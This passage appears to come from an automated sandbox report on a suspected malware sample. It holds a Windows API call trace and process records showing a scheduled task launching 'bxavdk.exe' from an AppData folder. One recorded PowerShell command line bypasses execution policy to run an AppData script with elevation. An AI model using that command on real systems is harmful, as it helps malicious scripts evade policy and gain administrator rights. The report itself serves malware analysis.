nBufferLength=0x105, lpBuffer=0x29e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.216] GetLastError () returned 0xcb [0076.216] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x356eb8, nSize=0x29e7c4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x29e7c4) returned 0x1 [0076.217] GetLastError () returned 0xcb [0076.217] GetUserNameW (in: lpBuffer=0x3566f8, pcbBuffer=0x29e7cc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x29e7cc) returned 1 [0076.217] ReportEventW (hEventLog=0x4ed0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x338c9c0*="Alias", lpRawData=0x338c87c) returned 1 [0076.217] GetLastError () returned 0x0 [0076.218] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0076.218] GetLastError () returned 0xcb [0076.219] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.219] GetLastError () returned 0xcb [0076.219] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.219] GetLastError () returned 0xcb [0076.219] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.219] GetLastError () returned 0xcb [0076.219] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x356eb8, nSize=0x29e7c4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x29e7c4) returned 0x1 [0076.220] GetLastError () returned 0xcb [0076.220] GetUserNameW (in: lpBuffer=0x3566f8, pcbBuffer=0x29e7cc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x29e7cc) returned 1 [0076.220] ReportEventW (hEventLog=0x4ed0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3390954*="Environment", lpRawData=0x3390810) returned 1 [0076.220] GetLastError () returned 0x0 [0076.221] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0076.221] GetLastError () returned 0xcb [0076.222] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0076.222] GetLastError () returned 0xcb [0076.222] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0076.222] GetLastError () returned 0xcb [0076.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x29e2f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0076.222] GetLastError () returned 0xcb [0076.222] SetErrorMode (uMode=0x1) returned 0x1 [0076.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x29e774 | out: lpFileInformation=0x29e774*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0076.223] GetLastError () returned 0xcb [0076.223] SetErrorMode (uMode=0x1) returned 0x1 [0076.223] GetLogicalDrives () returned 0x4 [0076.223] GetLastError () returned 0xcb [0076.223] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x29e218, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.223] GetLastError () returned 0xcb [0076.225] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.225] GetLastError () returned 0xcb [0076.225] SetErrorMode (uMode=0x1) returned 0x1 [0076.226] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x3567f8, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x29e740, lpMaximumComponentLength=0x29e73c, lpFileSystemFlags=0x29e738, lpFileSystemNameBuffer=0x3566f8, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x29e740*=0x9c354b42, lpMaximumComponentLength=0x29e73c*=0xff, lpFileSystemFlags=0x29e738*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0076.227] GetLastError () returned 0xcb [0076.227] SetErrorMode (uMode=0x1) returned 0x1 [0076.227] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.227] GetLastError () returned 0xcb [0076.227] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x29e2a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.227] GetLastError () returned 0xcb [0076.227] SetErrorMode (uMode=0x1) returned 0x1 [0076.227] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3391b8c | out: lpFileInformation=0x3391b8c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb30f5690, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb30f5690, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0076.227] GetLastError () returned 0xcb [0076.227] SetErrorMode (uMode=0x1) returned 0x1 [0076.227] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x29e2a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.227] GetLastError () returned 0xcb [0076.227] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x29e22c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.227] GetLastError () returned 0xcb [0076.228] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.228] GetLastError () returned 0xcb [0076.228] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x29e1e8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.228] GetLastError () returned 0xcb [0076.228] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.228] GetLastError () returned 0xcb [0076.229] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x29e1f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.229] GetLastError () returned 0xcb [0076.229] SetErrorMode (uMode=0x1) returned 0x1 [0076.229] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x33927e4 | out: lpFileInformation=0x33927e4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb30f5690, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb30f5690, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0076.229] GetLastError () returned 0xcb [0076.229] SetErrorMode (uMode=0x1) returned 0x1 [0076.229] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x29e1f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.229] GetLastError () returned 0xcb [0076.229] SetErrorMode (uMode=0x1) returned 0x1 [0076.229] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3392934 | out: lpFileInformation=0x3392934*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb30f5690, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb30f5690, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0076.229] GetLastError () returned 0xcb [0076.229] SetErrorMode (uMode=0x1) returned 0x1 [0076.230] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x29e23c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0076.230] GetLastError () returned 0xcb [0076.230] SetErrorMode (uMode=0x1) returned 0x1 [0076.230] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3392ad4 | out: lpFileInformation=0x3392ad4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb30f5690, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb30f5690, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0076.230] GetLastError () returned 0xcb [0076.230] SetErrorMode (uMode=0x1) returned 0x1 [0076.230] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x356eb8, nSize=0x29e7c4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x29e7c4) returned 0x1 [0076.230] GetLastError () returned 0xcb [0076.230] GetUserNameW (in: lpBuffer=0x3566f8, pcbBuffer=0x29e7cc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x29e7cc) returned 1 [0076.231] ReportEventW (hEventLog=0x4ed0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x339585c*="FileSystem", lpRawData=0x3395718) returned 1 [0076.231] GetLastError () returned 0x0 [0076.232] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0076.232] GetLastError () returned 0xcb [0076.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.233] GetLastError () returned 0xcb [0076.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.233] GetLastError () returned 0xcb [0076.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.233] GetLastError () returned 0xcb [0076.233] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x356eb8, nSize=0x29e7c4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x29e7c4) returned 0x1 [0076.233] GetLastError () returned 0xcb [0076.233] GetUserNameW (in: lpBuffer=0x3566f8, pcbBuffer=0x29e7cc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x29e7cc) returned 1 [0076.234] ReportEventW (hEventLog=0x4ed0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x339994c*="Function", lpRawData=0x3399808) returned 1 [0076.234] GetLastError () returned 0x0 [0076.237] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0076.237] GetLastError () returned 0xcb [0076.240] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e1d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.240] GetLastError () returned 0xcb [0076.240] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.240] GetLastError () returned 0xcb [0076.240] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.240] GetLastError () returned 0xcb [0076.240] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.241] GetLastError () returned 0xcb [0076.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e1d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.312] GetLastError () returned 0xcb [0076.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.312] GetLastError () returned 0xcb [0076.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.312] GetLastError () returned 0xcb [0076.316] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x356eb8, nSize=0x29e7c4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x29e7c4) returned 0x1 [0076.316] GetLastError () returned 0xcb [0076.316] GetUserNameW (in: lpBuffer=0x3566f8, pcbBuffer=0x29e7cc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x29e7cc) returned 1 [0076.317] ReportEventW (hEventLog=0x4ed0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x33b2a08*="Registry", lpRawData=0x33b28c4) Thread: id = 61 os_tid = 0xb6c Thread: id = 62 os_tid = 0xb70 Thread: id = 69 os_tid = 0xb8c Thread: id = 71 os_tid = 0xb94 Thread: id = 72 os_tid = 0xb98 [0058.165] CoGetContextToken (in: pToken=0x263f548 | out: pToken=0x263f548) returned 0x0 [0058.165] CObjectContext::QueryInterface () returned 0x0 [0058.166] CObjectContext::GetCurrentThreadType () returned 0x0 [0058.166] Release () returned 0x0 [0058.166] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0072.952] LocalFree (hMem=0x379620) returned 0x0 [0072.952] GetLastError () returned 0x0 [0072.952] CloseHandle (hObject=0x348) returned 1 [0072.952] GetLastError () returned 0x0 [0072.952] CloseHandle (hObject=0x13) returned 1 [0072.953] GetLastError () returned 0x0 [0072.953] CloseHandle (hObject=0xf) returned 1 [0072.954] GetLastError () returned 0x0 [0072.954] RegCloseKey (hKey=0x32c) returned 0x0 [0072.954] RegCloseKey (hKey=0x328) returned 0x0 [0072.954] RegCloseKey (hKey=0x324) returned 0x0 [0072.954] LocalFree (hMem=0x379640) returned 0x0 [0072.954] GetLastError () returned 0x0 [0072.955] RegCloseKey (hKey=0x354) returned 0x0 [0075.463] RegCloseKey (hKey=0x354) returned 0x0 Process: id = "12" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x14686000" os_pid = "0xbd0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "5" os_parent_pid = "0xad8" cmd_line = "taskeng.exe {BAE407F2-B61C-4068-A2A9-66A3D1D24DDD} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 73 os_tid = 0xbd4 Thread: id = 74 os_tid = 0xbd8 Thread: id = 75 os_tid = 0xbdc Thread: id = 76 os_tid = 0xbe0 Thread: id = 77 os_tid = 0xbe4 Thread: id = 78 os_tid = 0xbe8 Thread: id = 79 os_tid = 0xbec Process: id = "13" image_name = "bxavdk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe" page_root = "0x27653000" os_pid = "0xbf0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xbd0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 128 os_tid = 0xbf4 Thread: id = 129 os_tid = 0x5c4 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0xbd0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 80 os_tid = 0xbcc Thread: id = 81 os_tid = 0xbc8 Thread: id = 82 os_tid = 0xbc0 Thread: id = 83 os_tid = 0xbbc Thread: id = 84 os_tid = 0xbb8 Thread: id = 85 os_tid = 0xbb4 Thread: id = 86 os_tid = 0xbb0 Thread: id = 87 os_tid = 0xbac Thread: id = 88 os_tid = 0xba8 Thread: id = 89 os_tid = 0xba4 Thread: id = 90 os_tid = 0xba0 Thread: id = 91 os_tid = 0xb9c Thread: id = 92 os_tid = 0x5b8 Thread: id = 93 os_tid = 0x7c0 Thread: id = 94 os_tid = 0x7f8 Thread: id = 95 os_tid = 0x430 Thread: id = 96 os_tid = 0x268 Thread: id = 97 os_tid = 0x768 Thread: id = 98 os_tid = 0x764 Thread: id = 99 os_tid = 0x760 Thread: id = 100 os_tid = 0x75c Thread: id = 101 os_tid = 0x70c Thread: id = 102 os_tid = 0x6e8 Thread: id = 103 os_tid = 0x6c8 Thread: id = 104 os_tid = 0x6c0 Thread: id = 105 os_tid = 0x6b8 Thread: id = 106 os_tid = 0x6a4 Thread: id = 107 os_tid = 0x6a0 Thread: id = 108 os_tid = 0x690 Thread: id = 109 os_tid = 0x67c Thread: id = 110 os_tid = 0x490 Thread: id = 111 os_tid = 0x454 Thread: id = 112 os_tid = 0x450 Thread: id = 113 os_tid = 0x428 Thread: id = 114 os_tid = 0x424 Thread: id = 115 os_tid = 0x420 Thread: id = 116 os_tid = 0x404 Thread: id = 117 os_tid = 0x18c Thread: id = 118 os_tid = 0xf0 Thread: id = 119 os_tid = 0xc8 Thread: id = 120 os_tid = 0x3f0 Thread: id = 121 os_tid = 0x3e4 Thread: id = 122 os_tid = 0x398 Thread: id = 123 os_tid = 0x394 Thread: id = 124 os_tid = 0x390 Thread: id = 125 os_tid = 0x38c Thread: id = 126 os_tid = 0x378 Thread: id = 127 os_tid = 0x370 Thread: id = 134 os_tid = 0x7d0 Thread: id = 135 os_tid = 0x53c Thread: id = 136 os_tid = 0x5a4 Thread: id = 137 os_tid = 0x210 Thread: id = 138 os_tid = 0x518 Thread: id = 139 os_tid = 0x58c Thread: id = 140 os_tid = 0x6ac Thread: id = 141 os_tid = 0x734 Thread: id = 142 os_tid = 0x86c Thread: id = 143 os_tid = 0x864 Thread: id = 189 os_tid = 0x948 Thread: id = 190 os_tid = 0x998 Thread: id = 191 os_tid = 0x96c Thread: id = 192 os_tid = 0x970 Thread: id = 193 os_tid = 0x98c Process: id = "15" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x1fb2000" os_pid = "0x888" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xb40" cmd_line = "powershell -NoProfile -ExecutionPolicy Bypass -Command \"& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1\"\"' -Verb RunAs}\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 131 os_tid = 0x7ac Thread: id = 132 os_tid = 0x8bc Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 145 os_tid = 0xa7c Thread: id = 146 os_tid = 0x954 Thread: id = 147 os_tid = 0x8f8 Thread: id = 148 os_tid = 0x8e8 Thread: id = 149 os_tid = 0x754 Thread: id = 150 os_tid = 0x704 Thread: id = 151 os_tid = 0x6e0 Thread: id = 152 os_tid = 0x6b0 Thread: id = 153 os_tid = 0x698 Thread: id = 154 os_tid = 0x678 Thread: id = 155 os_tid = 0x630 Thread: id = 156 os_tid = 0x610 Thread: id = 157 os_tid = 0x14c Thread: id = 158 os_tid = 0x140 Thread: id = 159 os_tid = 0x158 Thread: id = 160 os_tid = 0x294 Thread: id = 161 os_tid = 0x218 Thread: id = 162 os_tid = 0x230 Thread: id = 163 os_tid = 0x21c Thread: id = 164 os_tid = 0x1c4 Thread: id = 196 os_tid = 0x9e0 Thread: 